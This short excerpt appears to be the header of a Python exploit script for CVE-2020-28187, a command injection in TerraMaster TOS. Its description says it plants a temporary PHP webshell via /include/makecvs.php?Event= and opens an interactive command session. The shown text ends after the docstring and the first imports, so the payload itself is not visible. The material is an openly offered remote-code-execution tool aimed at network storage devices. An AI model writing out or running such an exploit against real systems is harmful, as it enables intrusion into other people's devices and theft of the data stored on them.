TerraMaster TOS - makecvs.php Command Injection (CVE-2020-28187)

Exploits CVE-2020-28187 by writing a temporary PHP webshell via /include/makecvs.php?Event= and executing OS commands. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """TerraMaster TOS makecvs.php Event RCE CVE-2020-28187 — opens execute session.""" import re impo...